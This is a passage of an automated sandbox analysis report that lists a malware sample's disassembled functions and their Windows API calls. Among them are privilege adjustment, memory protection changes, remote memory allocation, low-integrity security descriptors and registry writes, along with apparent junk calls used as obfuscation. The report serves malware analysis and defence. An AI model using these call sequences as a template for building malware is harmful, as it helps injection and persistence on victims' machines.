    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00407BA3, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 155
    APIs
      • Part of subcall function 0040755C: GetModuleHandleW.KERNEL32(?), ref: 00407588
      • Part of subcall function 0040755C: GetModuleHandleW.KERNEL32(00000000), ref: 004075A8
      • Part of subcall function 0040755C: GetModuleHandleW.KERNEL32(?), ref: 00407667
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 0040771E
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 0040772F
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407743
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407754
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32 ref: 00407765
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407776
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407787
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 00407798
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 004077A9
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 004077BA
      • Part of subcall function 0040755C: GetProcAddress.KERNEL32(?), ref: 004077CA
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00407BDA
    • GetProcessHeap.KERNEL32 ref: 00407BE9
    • WSAStartup.WS2_32(00000202,?), ref: 00407C1C
      • Part of subcall function 0041977E: GetTickCount.KERNEL32 ref: 0041977E
    • InitializeCriticalSection.KERNEL32(004345A0), ref: 00407C3D
    • GetCurrentProcess.KERNEL32 ref: 00407C55
    • GetModuleFileNameExW.PSAPI ref: 00407C5C
      • Part of subcall function 00414EBF: CharLowerW.USER32 ref: 00414EF2
      • Part of subcall function 00420477: RegOpenKeyExW.ADVAPI32(80000001,00433F08,00000000,00000001,?), ref: 004204BA
      • Part of subcall function 004073FB: GetModuleHandleW.KERNEL32(?), ref: 00407412
      • Part of subcall function 004073FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00407451
      • Part of subcall function 004073FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00407467
      • Part of subcall function 0042C68C: GlobalMemoryStatusEx.KERNEL32(?), ref: 0042C6DD
      • Part of subcall function 0042C68C: GetVolumeInformationA.KERNEL32(00407CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0042C71A
    • CreateEventW.KERNEL32(00432AFC,00000001,00000000,00000000), ref: 00407CD5
      • Part of subcall function 00419AB7: OpenProcessToken.ADVAPI32(00432AC0,00000008,00432AC0), ref: 00419AC7
      • Part of subcall function 00419AB7: GetTokenInformation.ADVAPI32(00432AC0,0000000C,00000000,00000004,00432F90), ref: 00419AF3
      • Part of subcall function 00419AB7: CloseHandle.KERNEL32(00432AC0), ref: 00419B08
    • GetLengthSid.ADVAPI32(?,000000FF,00432AC0,00432F90), ref: 00407D0A
      • Part of subcall function 0040787A: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00407898
      • Part of subcall function 0040787A: PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 004078A7
      • Part of subcall function 0040787A: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 004078BB
    • GetCurrentProcessId.KERNEL32 ref: 00407D37
      • Part of subcall function 004078DB: IsBadReadPtr.KERNEL32(?,?), ref: 00407909
      • Part of subcall function 0041CB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 0041CC37
      • Part of subcall function 0040792D: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 0040796A
      • Part of subcall function 0040792D: lstrcmpiW.KERNEL32(?,?), ref: 00407994
      • Part of subcall function 004079BF: InitializeCriticalSection.KERNEL32(00434170), ref: 004079D6
      • Part of subcall function 004079BF: InitializeCriticalSection.KERNEL32(00433FEC), ref: 00407A0B
      • Part of subcall function 004079BF: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407A33
      • Part of subcall function 004079BF: ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00407A50
      • Part of subcall function 004079BF: CloseHandle.KERNEL32 ref: 00407A61
      • Part of subcall function 004079BF: InitializeCriticalSection.KERNEL32(00433F6C), ref: 00407AA8
      • Part of subcall function 004079BF: GetModuleHandleW.KERNEL32(?), ref: 00407ACF
      • Part of subcall function 004079BF: GetModuleHandleW.KERNEL32(?), ref: 00407AD8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA7BA3, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 155
    APIs
      • Part of subcall function 00BA755C: GetModuleHandleW.KERNEL32(?), ref: 00BA7588
      • Part of subcall function 00BA755C: GetModuleHandleW.KERNEL32(00000000), ref: 00BA75A8
      • Part of subcall function 00BA755C: GetModuleHandleW.KERNEL32(?), ref: 00BA7667
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA771E
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA772F
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA7743
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA7754
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32 ref: 00BA7765
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA7776
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA7787
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA7798
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA77A9
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA77BA
      • Part of subcall function 00BA755C: GetProcAddress.KERNEL32(?), ref: 00BA77CA
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00BA7BDA
    • GetProcessHeap.KERNEL32 ref: 00BA7BE9
    • WSAStartup.WS2_32(00000202,?), ref: 00BA7C1C
      • Part of subcall function 00BB977E: GetTickCount.KERNEL32 ref: 00BB977E
    • InitializeCriticalSection.KERNEL32(00BD45A0), ref: 00BA7C3D
    • GetCurrentProcess.KERNEL32 ref: 00BA7C55
    • GetModuleFileNameExW.PSAPI ref: 00BA7C5C
      • Part of subcall function 00BB4EBF: CharLowerW.USER32 ref: 00BB4EF2
      • Part of subcall function 00BC0477: RegOpenKeyExW.ADVAPI32(80000001,00BD3F08,00000000,00000001,?), ref: 00BC04BA
      • Part of subcall function 00BA73FB: GetModuleHandleW.KERNEL32(?), ref: 00BA7412
      • Part of subcall function 00BA73FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000040,00000000), ref: 00BA7451
      • Part of subcall function 00BA73FB: VirtualProtectEx.KERNEL32(000000FF,?,0000000A,00000000,00000000), ref: 00BA7467
      • Part of subcall function 00BCC68C: GlobalMemoryStatusEx.KERNEL32(?), ref: 00BCC6DD
      • Part of subcall function 00BCC68C: GetVolumeInformationA.KERNEL32(00BA7CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00BCC71A
    • CreateEventW.KERNEL32(00BD2AFC,00000001,00000000,00000000), ref: 00BA7CD5
      • Part of subcall function 00BB9AB7: OpenProcessToken.ADVAPI32(00BD2AC0,00000008,00BD2AC0), ref: 00BB9AC7
      • Part of subcall function 00BB9AB7: GetTokenInformation.ADVAPI32(00BD2AC0,0000000C,00000000,00000004,00BD2F90), ref: 00BB9AF3
      • Part of subcall function 00BB9AB7: CloseHandle.KERNEL32(00BD2AC0), ref: 00BB9B08
    • GetLengthSid.ADVAPI32(?,000000FF,00BD2AC0,00BD2F90), ref: 00BA7D0A
      • Part of subcall function 00BA787A: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00BA7898
      • Part of subcall function 00BA787A: PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 00BA78A7
      • Part of subcall function 00BA787A: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00BA78BB
    • GetCurrentProcessId.KERNEL32 ref: 00BA7D37
      • Part of subcall function 00BA78DB: IsBadReadPtr.KERNEL32(?,?), ref: 00BA7909
      • Part of subcall function 00BBCB9A: StringFromGUID2.OLE32(?,00000064,00000028), ref: 00BBCC37
      • Part of subcall function 00BA792D: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00BA796A
      • Part of subcall function 00BA792D: lstrcmpiW.KERNEL32(?,?), ref: 00BA7994
      • Part of subcall function 00BA79BF: InitializeCriticalSection.KERNEL32(00BD4170), ref: 00BA79D6
      • Part of subcall function 00BA79BF: InitializeCriticalSection.KERNEL32(00BD3FEC), ref: 00BA7A0B
      • Part of subcall function 00BA79BF: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BA7A33
      • Part of subcall function 00BA79BF: ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00BA7A50
      • Part of subcall function 00BA79BF: CloseHandle.KERNEL32 ref: 00BA7A61
      • Part of subcall function 00BA79BF: InitializeCriticalSection.KERNEL32(00BD3F6C), ref: 00BA7AA8
      • Part of subcall function 00BA79BF: GetModuleHandleW.KERNEL32(?), ref: 00BA7ACF
      • Part of subcall function 00BA79BF: GetModuleHandleW.KERNEL32(?), ref: 00BA7AD8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA88DB, Relevance: 13.6, APIs: 9, Instructions: 128
    APIs
      • Part of subcall function 00BA7BA3: HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00BA7BDA
      • Part of subcall function 00BA7BA3: GetProcessHeap.KERNEL32 ref: 00BA7BE9
      • Part of subcall function 00BA7BA3: WSAStartup.WS2_32(00000202,?), ref: 00BA7C1C
      • Part of subcall function 00BA7BA3: InitializeCriticalSection.KERNEL32(00BD45A0), ref: 00BA7C3D
      • Part of subcall function 00BA7BA3: GetCurrentProcess.KERNEL32 ref: 00BA7C55
      • Part of subcall function 00BA7BA3: GetModuleFileNameExW.PSAPI ref: 00BA7C5C
      • Part of subcall function 00BA7BA3: CreateEventW.KERNEL32(00BD2AFC,00000001,00000000,00000000), ref: 00BA7CD5
      • Part of subcall function 00BA7BA3: GetLengthSid.ADVAPI32(?,000000FF,00BD2AC0,00BD2F90), ref: 00BA7D0A
      • Part of subcall function 00BA7BA3: GetCurrentProcessId.KERNEL32 ref: 00BA7D37
    • SetErrorMode.KERNEL32(00008007), ref: 00BA8902
    • GetCommandLineW.KERNEL32 ref: 00BA890C
    • CommandLineToArgvW.SHELL32 ref: 00BA8913
    • ExitProcess.KERNEL32(00000000,00000000), ref: 00BA89B3
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,00000040,?), ref: 00BA8A5C
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,?,?), ref: 00BA8A75
    • CreateThread.KERNEL32(00000000,00000000,Function_00008533,00000000), ref: 00BA8A96
    • NtClose.NTDLL(?,?,00000000), ref: 00BA8A9E
    • Sleep.KERNEL32(0000000A), ref: 00BA8AAD
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041CA60, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 60
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft,00000000,00000000,00000000,00000004,00000000,00429FDA,00000000), ref: 0041CA88
      • Part of subcall function 0041C8C5: CharUpperW.USER32(?,?,00429FDA,00000000), ref: 0041C9E6
    • RegCreateKeyExW.ADVAPI32(00429FDA,?,00000000,00000000,00000000,00000003,00000000,?,?), ref: 0041CABA
    • RegCloseKey.ADVAPI32(?), ref: 0041CAC3
    • RegCloseKey.ADVAPI32(00429FDA), ref: 0041CADD
    Strings
    • C:\Documents and Settings\Administrator\Application Data, xrefs: 0041CA67
    • SOFTWARE\Microsoft, xrefs: 0041CA7B
    • d, xrefs: 0041CACE
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBBB34, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
    APIs
    • InitializeSecurityDescriptor.ADVAPI32(00BD2B08,00000001), ref: 00BBBB3E
    • SetSecurityDescriptorDacl.ADVAPI32(00BD2B08,00000001,00000000,00000000), ref: 00BBBB4F
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00BD2F90,00000000), ref: 00BBBB65
    • GetSecurityDescriptorSacl.ADVAPI32(00BD2F90,?,00BA7CC0,00000000), ref: 00BBBB81
    • SetSecurityDescriptorSacl.ADVAPI32(00BD2B08,?,00BA7CC0,00000000), ref: 00BBBB95
    • LocalFree.KERNEL32(00BD2F90), ref: 00BBBBA2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA79BF, Relevance: 12.1, APIs: 8, Instructions: 134
    APIs
    • InitializeCriticalSection.KERNEL32(00BD4170), ref: 00BA79D6
    • InitializeCriticalSection.KERNEL32(00BD3FEC), ref: 00BA7A0B
      • Part of subcall function 00BA80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00BA817A
    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BA7A33
    • ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00BA7A50
    • CloseHandle.KERNEL32 ref: 00BA7A61
      • Part of subcall function 00BC7234: InterlockedExchange.KERNEL32(00BD4140,00000000), ref: 00BC7252
      • Part of subcall function 00BC7234: InterlockedExchange.KERNEL32(00BD4120,00000000), ref: 00BC725A
      • Part of subcall function 00BC7234: InitializeCriticalSection.KERNEL32(00BD40F8), ref: 00BC7261
      • Part of subcall function 00BC7234: CoInitializeEx.OLE32(00000000,00000002), ref: 00BC735E
      • Part of subcall function 00BC7234: CoCreateInstance.OLE32(00BA1690,00000000,00004401,00BA1680,?), ref: 00BC7394
      • Part of subcall function 00BA8F85: GetModuleHandleW.KERNEL32(?), ref: 00BA8FAB
    • InitializeCriticalSection.KERNEL32(00BD3F6C), ref: 00BA7AA8
      • Part of subcall function 00BCBBC0: GetCurrentThreadId.KERNEL32 ref: 00BCBBCA
      • Part of subcall function 00BCBBC0: GetThreadDesktop.USER32 ref: 00BCBBD1
      • Part of subcall function 00BCBBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00BCBBEB
    • GetModuleHandleW.KERNEL32(?), ref: 00BA7ACF
    • GetModuleHandleW.KERNEL32(?), ref: 00BA7AD8
      • Part of subcall function 00BC6387: GetProcAddress.KERNEL32(?,?), ref: 00BC63DB
      • Part of subcall function 00BC6387: GetProcAddress.KERNEL32(?,?), ref: 00BC63E7
      • Part of subcall function 00BC6387: GetProcAddress.KERNEL32(?,?), ref: 00BC63F3
      • Part of subcall function 00BC6387: GetProcAddress.KERNEL32(?,?), ref: 00BC63FF
      • Part of subcall function 00BC6387: GetProcAddress.KERNEL32(?,?), ref: 00BC640B
      • Part of subcall function 00BC5E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00BC5E37
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041CAE9, Relevance: 10.6, APIs: 7, Instructions: 66
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 0041CB07
    • PathAddBackslashW.SHLWAPI(?), ref: 0041CB1E
    • PathRemoveBackslashW.SHLWAPI(?), ref: 0041CB2F
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 0041CB3C
    • PathAddBackslashW.SHLWAPI(?), ref: 0041CB4D
    • GetVolumeNameForVolumeMountPointW.KERNEL32(?,?,00000064), ref: 0041CB5C
    • CLSIDFromString.OLE32(0000007B,?), ref: 0041CB76
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419B6C, Relevance: 10.6, APIs: 7, Instructions: 52
    APIs
    • GetCurrentThread.KERNEL32 ref: 00419B7C
    • OpenThreadToken.ADVAPI32 ref: 00419B83
    • OpenProcessToken.ADVAPI32(000000FF,00000020,?), ref: 00419B95
    • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00419BB9
    • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 00419BCE
    • GetLastError.KERNEL32 ref: 00419BD8
    • CloseHandle.KERNEL32(?), ref: 00419BE7
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041BBC6, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
    APIs
      • Part of subcall function 00419B6C: GetCurrentThread.KERNEL32 ref: 00419B7C
      • Part of subcall function 00419B6C: OpenThreadToken.ADVAPI32 ref: 00419B83
      • Part of subcall function 00419B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,?), ref: 00419B95
      • Part of subcall function 00419B6C: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00419BB9
      • Part of subcall function 00419B6C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 00419BCE
      • Part of subcall function 00419B6C: GetLastError.KERNEL32 ref: 00419BD8
      • Part of subcall function 00419B6C: CloseHandle.KERNEL32(?), ref: 00419BE7
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 0041BBE5
    • GetSecurityDescriptorSacl.ADVAPI32(?,?,?,00429CAA), ref: 0041BC01
    • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,?), ref: 0041BC18
    • LocalFree.KERNEL32(?), ref: 0041BC27
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00407E41, Relevance: 9.2, APIs: 6, Instructions: 223
    APIs
    • SetBkMode.GDI32 ref: 00407E41
    • TextOutW.GDI32 ref: 00407E47
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00407F76
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041D80F, Relevance: 9.1, APIs: 6, Instructions: 68
    APIs
    • CreateFileW.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 0041D834
    • GetFileSizeEx.KERNEL32(?,00000000), ref: 0041D847
    • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 0041D86F
    • ReadFile.KERNEL32(00000001,?,?,00000000,00000000), ref: 0041D887
    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0041D8A1
    • CloseHandle.KERNEL32(00000001), ref: 0041D8AA
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004196EA, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00419703
    • CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 0041971B
    • CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00419737
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 0041974F
    • CryptDestroyHash.ADVAPI32(?), ref: 00419766
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00419770
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419CA7, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26
    APIs
    • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00419CB4
    • GetProcAddress.KERNEL32(?,IsWow64Process), ref: 00419CC4
    • IsWow64Process.KERNEL32 ref: 00419CD4
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC7234, Relevance: 7.7, APIs: 5, Instructions: 184
    APIs
    • InterlockedExchange.KERNEL32(00BD4140,00000000), ref: 00BC7252
    • InterlockedExchange.KERNEL32(00BD4120,00000000), ref: 00BC725A
    • InitializeCriticalSection.KERNEL32(00BD40F8), ref: 00BC7261
      • Part of subcall function 00BBC768: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 00BBC780
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00BC735E
    • CoCreateInstance.OLE32(00BA1690,00000000,00004401,00BA1680,?), ref: 00BC7394
      • Part of subcall function 00BBEBA1: CoUninitialize.OLE32 ref: 00BBEBAF
      • Part of subcall function 00BBC7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00BBC80C
      • Part of subcall function 00BBC7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00BBC826
      • Part of subcall function 00BBC7EE: RegCloseKey.ADVAPI32(00000000), ref: 00BBC835
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00408602, Relevance: 7.6, APIs: 5, Instructions: 54
    APIs
    • ReleaseDC.USER32 ref: 00408602
    • GetStockObject.GDI32 ref: 00408608
    • GetLastError.KERNEL32 ref: 0040860E
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
